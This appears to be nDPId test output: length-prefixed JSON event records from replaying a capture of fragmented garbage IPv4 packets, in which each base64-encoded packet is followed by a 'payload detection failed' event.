+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3698,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44843,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3698,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3699,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44855,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3699,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3700,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44867,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3700,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3701,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44879,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3701,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3702,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44890,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3702,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3703,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44904,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3703,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3704,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44916,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3704,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3705,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44927,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3705,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3706,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44939,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3706,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3707,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44951,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3707,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3708,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44962,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3708,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3709,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44973,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3709,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3710,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44985,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3710,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3711,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44997,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3711,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3712,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45008,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3712,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3713,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45024,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGkAGQ5cKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3713,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3714,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45036,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHEAGQ5UKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3714,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3715,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45048,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3715,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3716,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45060,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3716,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3717,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45071,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3717,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3718,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45085,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3718,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3719,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45097,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3719,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3720,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45108,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3720,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3721,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45120,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3721,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3722,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45131,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3722,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3723,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45143,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3723,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3724,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45157,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3724,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3725,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45169,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3725,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3726,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45208,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3726,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3727,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45221,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3727,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3728,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45233,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3728,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3729,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45245,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3729,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3730,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45259,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3730,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3731,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45273,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3731,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3732,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45285,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3732,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3733,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45297,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3733,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3734,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45309,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3734,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3735,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45320,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3735,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3736,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45334,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3736,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3737,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45345,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3737,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3738,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45357,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3738,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3739,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45369,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3739,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 